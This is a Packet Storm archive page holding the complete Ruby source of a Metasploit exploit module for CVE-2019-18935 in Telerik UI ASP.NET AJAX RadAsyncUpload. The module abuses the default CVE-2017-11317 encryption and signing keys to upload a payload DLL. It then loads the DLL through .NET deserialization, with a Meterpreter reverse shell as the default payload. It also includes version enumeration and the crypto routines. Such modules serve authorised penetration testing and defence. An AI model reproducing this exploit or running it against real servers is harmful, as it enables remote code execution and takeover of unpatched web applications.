exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Telerik UI ASP.NET AJAX RadAsyncUpload Deserialization

Telerik UI ASP.NET AJAX RadAsyncUpload Deserialization
Posted Oct 20, 2020
Authored by Spencer McIntyre, Oleksandr Mirosh, Markus Wulftange, Alvaro Munoz, Paul Taylor, Caleb Gross, straightblast | Site metasploit.com

This Metasploit module exploits the .NET deserialization vulnerability within the RadAsyncUpload (RAU) component of Telerik UI ASP.NET AJAX that is identified as CVE-2019-18935. In order to do so the module must upload a mixed mode .NET assembly DLL which is then loaded through the deserialization flaw. Uploading the file requires knowledge of the cryptographic keys used by RAU. The default values used by this module are related to CVE-2017-11317, which once patched randomizes these keys. It is also necessary to know the version of Telerik UI ASP.NET that is running. This version number is in the format YYYY.#(.###)? where YYYY is the year of the release (e.g. 2020.3.915).

tags | exploit, asp
advisories | CVE-2017-11317, CVE-2019-18935
SHA-256 | 2f6a8f760339d2c83d483651740d009b85c87d1a8e03ca388c1ef83409e65051

Telerik UI ASP.NET AJAX RadAsyncUpload Deserialization

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

SALT = "\x3a\x54\x5b\x19\x0a\x22\x1d\x44\x3c\x58\x2c\x33\x01".b
# default keys per CVE-2017-11317
DEFAULT_RAU_SIGNING_KEY = 'PrivateKeyForHashOfUploadConfiguration'.freeze
DEFAULT_RAU_ENCRYPTION_KEY = 'PrivateKeyForEncryptionOfRadAsyncUploadConfiguration'.freeze
CVE_2017_11317_REFERENCES = [
['CVE', '2017-11317'], # Unrestricted File Upload via Weak Encryption
['URL', 'https://github.com/bao7uo/RAU_crypto'],
['URL', 'https://www.telerik.com/support/kb/aspnet-ajax/upload-(async)/details/unrestricted-file-upload'],
['URL', 'https://github.com/straightblast/UnRadAsyncUpload/wiki'],
].freeze
CVE_2019_18935_REFERENCES = [
['CVE', '2019-18935'], # Remote Code Execution via Insecure Deserialization
['URL', 'https://github.com/noperator/CVE-2019-18935'],
['URL', 'https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization'],
['URL', 'https://codewhitesec.blogspot.com/2019/02/telerik-revisited.html'],
['URL', 'https://labs.bishopfox.com/tech-blog/cve-2019-18935-remote-code-execution-in-telerik-ui'],
].freeze

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Telerik UI ASP.NET AJAX RadAsyncUpload Deserialization',
'Description' => %q{
This module exploits the .NET deserialization vulnerability within the RadAsyncUpload (RAU) component of Telerik
UI ASP.NET AJAX that is identified as CVE-2019-18935. In order to do so the module must upload a mixed mode .NET
assembly DLL which is then loaded through the deserialization flaw. Uploading the file requires knowledge of the
cryptographic keys used by RAU. The default values used by this module are related to CVE-2017-11317, which once
patched randomizes these keys. It is also necessary to know the version of Telerik UI ASP.NET that is running.
This version number is in the format YYYY.#(.###)? where YYYY is the year of the release (e.g. '2020.3.915').
},
'Author' => [
'Spencer McIntyre', # Metasploit module
'Paul Taylor', # (@bao7uo) Python PoCs
'Markus Wulftange', # (@mwulftange) discovery of CVE-2019-18935
'Caleb Gross', # (@noperator) research on CVE-2019-18935
'Alvaro Muñoz', # (@pwntester) discovery of CVE-2017-11317
'Oleksandr Mirosh', # (@olekmirosh) discover of CVE-2017-11317
'straightblast', # (@straight_blast) discovery of CVE-2017-11317
],
'License' => MSF_LICENSE,
'References' => CVE_2017_11317_REFERENCES + CVE_2019_18935_REFERENCES,
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [['Windows', {}],],
'Payload' => { 'Space' => 2048 },
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
'RPORT' => 443,
'SSL' => true
},
'DefaultTarget' => 0,
'DisclosureDate' => '2019-12-09', # Telerik article on CVE-2019-18935
'Notes' => {
'Reliability' => [UNRELIABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
},
'Privileged' => true
)
)

register_options([
OptString.new('TARGETURI', [ true, 'The base path to the web application', '/' ]),
OptString.new('FILE_NAME', [ false, 'The base file name for the upload (default will be random)' ]),
OptString.new('DESTINATION', [ true, 'The destination folder for the upload', 'C:\\Windows\\Temp' ]),
OptString.new('RAU_ENCRYPTION_KEY', [ true, 'The encryption key for the RAU configuration data', DEFAULT_RAU_ENCRYPTION_KEY ]),
OptString.new('RAU_SIGNING_KEY', [ true, 'The signing key for the RAU configuration data', DEFAULT_RAU_SIGNING_KEY ]),
OptString.new('VERSION', [ false, 'The Telerik UI ASP.NET AJAX version' ])
])
end

def dest_file_basename
@dest_file_name = @dest_file_name || datastore['FILE_NAME'] || Rex::Text.rand_text_alphanumeric(rand(4..35)) + '.dll'
end

def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'Telerik.Web.UI.WebResource.axd'),
'vars_get' => { 'type' => 'rau' }
})
return CheckCode::Safe unless res&.code == 200
return CheckCode::Safe unless res.get_json_document&.dig('message') =~ /RadAsyncUpload handler is registered succesfully/

if datastore['VERSION'].blank?
@version = enumerate_version
else
begin
upload_file('', datastore['VERSION'])
rescue Msf::Exploit::Failed
return CheckCode::Safe
end

@version = datastore['VERSION']
end

if !@version.nil? && datastore['RAU_SIGNING_KEY'] == DEFAULT_RAU_SIGNING_KEY && datastore['RAU_ENCRYPTION_KEY'] == DEFAULT_RAU_ENCRYPTION_KEY
print_status('Server is using default crypto keys and is vulnerable to CVE-2017-11317')
report_vuln({
host: rhost,
port: rport,
proto: 'tcp',
name: 'Unrestricted File Upload via Weak Encryption',
refs: CVE_2017_11317_REFERENCES.map { |ctx_id, ctx_val| SiteReference.new(ctx_id, ctx_val) }
})
end

# with custom errors enabled (which is the default), it's not possible to test for the serialization flaw without triggering it
CheckCode::Detected
end

def exploit
fail_with(Failure::BadConfig, 'No version was specified and it could not be enumerated') if @version.nil?
upload_file(generate_payload_dll({ mixed_mode: true }), @version)
execute_payload
end

def execute_payload
print_status('Executing the payload...')
serialized_object = { 'Path' => "#{datastore['DESTINATION'].chomp('\\').gsub('\\', '/')}/#{dest_file_basename}.tmp" }
serialized_object_type = Msf::Util::DotNetDeserialization::Assemblies::VERSIONS['4.0.0.0']['System.Configuration.Install']['System.Configuration.Install.AssemblyInstaller']

msg = rau_mime_payload(serialized_object, serialized_object_type.to_s)
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, 'Telerik.Web.UI.WebResource.axd'),
'vars_get' => { 'type' => 'rau' },
'method' => 'POST',
'data' => msg.to_s,
'ctype' => "multipart/form-data; boundary=#{msg.bound}"
}, 5
)
# this request to execute the payload times out on success and returns 200 when it fails, for example because the
# AllowedCustomMetaDataTypes setting is blocking the necessary code path
fail_with(Failure::UnexpectedReply, 'Failed to execute the payload') if res&.code == 200
end

def upload_file(file_contents, version)
target_folder = encrypt('')
temp_target_folder = encrypt(datastore['DESTINATION'].encode('UTF-16LE'))
if (version =~ /(\d{4})\.\d+.\d+/) && Regexp.last_match(1).to_i > 2016
# signing is only necessary for versions >= 2017.1.118 (versions that don't match the regex don't require signing)
target_folder << sign(target_folder)
temp_target_folder << sign(temp_target_folder)
end

serialized_object = {
'TargetFolder' => target_folder,
'TempTargetFolder' => temp_target_folder,
'MaxFileSize' => 0,
'TimeToLive' => {
'Ticks' => 1440000000000,
'Days' => 0,
'Hours' => 40,
'Minutes' => 0,
'Seconds' => 0,
'Milliseconds' => 0,
'TotalDays' => 1.6666666666666665,
'TotalHours' => 40,
'TotalMinutes' => 2400,
'TotalSeconds' => 144000,
'TotalMilliseconds' => 144000000
},
'UseApplicationPoolImpersonation' => false
}
serialized_object_type = "Telerik.Web.UI.AsyncUploadConfiguration, Telerik.Web.UI, Version=#{version}, Culture=neutral, PublicKeyToken=121fae78165ba3d4"

msg = rau_mime_payload(serialized_object, serialized_object_type, file_contents: file_contents)
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, 'Telerik.Web.UI.WebResource.axd'),
'vars_get' => { 'type' => 'rau' },
'method' => 'POST',
'data' => msg.to_s,
'ctype' => "multipart/form-data; boundary=#{msg.bound}"
}
)
fail_with(Failure::UnexpectedReply, 'The upload failed') unless res&.code == 200
metadata = JSON.parse(decrypt(res.get_json_document.dig('metaData')).force_encoding('UTF-16LE'))
dest_path = "#{datastore['DESTINATION'].chomp('\\')}\\#{metadata['TempFileName']}"
print_good("Uploaded #{file_contents.length} bytes to: #{dest_path}")
register_file_for_cleanup(dest_path)
end

def rau_mime_payload(serialized_object, serialized_object_type, file_contents: '')
metadata = { 'TotalChunks' => 1, 'ChunkIndex' => 0, 'TotalFileSize' => 1, 'UploadID' => dest_file_basename }

post_data = Rex::MIME::Message.new
post_data.add_part(encrypt(serialized_object.to_json.encode('UTF-16LE')) + '&' + encrypt(serialized_object_type.encode('UTF-16LE')), nil, nil, 'form-data; name="rauPostData"')
post_data.add_part(file_contents, 'application/octet-stream', 'binary', "form-data; name=\"file\"; filename=\"#{dest_file_basename}\"")
post_data.add_part(dest_file_basename, nil, nil, 'form-data; name="fileName"')
post_data.add_part('application/octet-stream', nil, nil, 'form-data; name="contentType"')
post_data.add_part('1970-01-01T00:00:00.000Z', nil, nil, 'form-data; name="lastModifiedDate"')
post_data.add_part(metadata.to_json, nil, nil, 'form-data; name="metadata"')
post_data
end

def enumerate_version
print_status('Enumerating the Telerik UI ASP.NET AJAX version, this will fail if the keys are incorrect')
File.open(File.join(Msf::Config.data_directory, 'wordlists', 'telerik_ui_asp_net_ajax_versions.txt'), 'rb').each_line do |version|
version.strip!
next if version.start_with?('#')

vprint_status("Checking version: #{version}")
begin
upload_file('', version)
rescue Msf::Exploit::Failed
next
end

print_good("The Telerik UI ASP.NET AJAX version has been identified as: #{version}")
return version
end

nil
end

#
# Crypto Functions
#
def get_cipher(mode)
# older versions might need to use pbkdf1
blob = OpenSSL::PKCS5.pbkdf2_hmac_sha1(datastore['RAU_ENCRYPTION_KEY'], SALT, 1000, 48)
cipher = OpenSSL::Cipher.new('AES-256-CBC').send(mode)
cipher.key = blob.slice(0, 32)
cipher.iv = blob.slice(32, 48)
cipher
end

def decrypt(cipher_text)
cipher = get_cipher(:decrypt)
cipher.update(Rex::Text.decode_base64(cipher_text)) + cipher.final
end

def encrypt(plain_text)
cipher = get_cipher(:encrypt)
cipher_text = ''
cipher_text << cipher.update(plain_text) unless plain_text.empty?
cipher_text << cipher.final
Rex::Text.encode_base64(cipher_text)
end

def sign(data)
Rex::Text.encode_base64(OpenSSL::HMAC.digest('SHA256', datastore['RAU_SIGNING_KEY'], data))
end
end
Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    25 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    21 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    14 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close